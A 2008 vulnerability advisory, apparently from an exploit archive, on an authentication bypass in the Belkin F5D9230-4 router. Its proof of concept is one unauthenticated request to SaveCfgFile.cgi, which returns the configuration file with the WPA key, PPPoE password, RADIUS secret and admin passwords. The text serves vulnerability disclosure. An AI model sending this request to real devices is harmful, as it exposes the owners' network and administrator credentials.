67 lines
No EOL
1.7 KiB
Text
67 lines
No EOL
1.7 KiB
Text
##
|
|
## VULNERABILITY:
|
|
##
|
|
## Belkin Wireless G Plus MIMO Router F5D9230-4
|
|
## Authentication Bypass Vulnerability
|
|
##
|
|
##
|
|
## AUTHOR:
|
|
##
|
|
## DarkFig < gmdarkfig (at) gmail (dot) com >
|
|
## http://acid-root.new.fr/?0:17
|
|
## #acidroot@irc.worldnet.net
|
|
##
|
|
##
|
|
## INTRODUCTION:
|
|
##
|
|
## I recently bought this router for my local
|
|
## network (without modem integrated), now I can tell
|
|
## that it was a bad choice. When my ISP disconnects
|
|
## me from internet, in the most case I have to reboot
|
|
## my Modem and the Router in order to reconnect.
|
|
## So I coded a program (which send http packets) to reboot
|
|
## my router, it asks me the router password, and reboots it.
|
|
## One day I wrote a bad password, but it worked. So I
|
|
## decided to make some tests in order to see if there was
|
|
## a vulnerability.
|
|
##
|
|
##
|
|
## DESCRIPTION:
|
|
##
|
|
## Apparently when the router starts, it creates a file
|
|
## (without content) named user.conf, then when we go to
|
|
## SaveCfgFile.cgi, the configuration is saved to the file
|
|
## user.conf. But the problem is that we can access to the
|
|
## file SaveCfgFile.cgi without login.
|
|
##
|
|
##
|
|
## PROOF OF CONCEPT:
|
|
##
|
|
## For example we can get the configuration file here:
|
|
## http://<ROUTER_IP>/SaveCfgFile.cgi
|
|
##
|
|
## pppoe_username=...
|
|
## pppoe_password=...
|
|
## wl0_pskkey=...
|
|
## wl0_key1=...
|
|
## mradius_password=...
|
|
## mradius_secret=...
|
|
## httpd_password=...
|
|
## http_passwd=...
|
|
## pppoe_passwd=...
|
|
##
|
|
##
|
|
## Tested on the latest firmware for this product
|
|
## (version 3.01.53).
|
|
##
|
|
##
|
|
## PATCH:
|
|
##
|
|
## Actually (08-01-19) there is no firmware update, but I
|
|
## contacted the author, if they'll release a patch, it
|
|
## will be available here:
|
|
## http://web.belkin.com/support/download/download.asp
|
|
## ?download=F5D9230-4&lang=1&mode=
|
|
##
|
|
|
|
# milw0rm.com [2008-01-20] |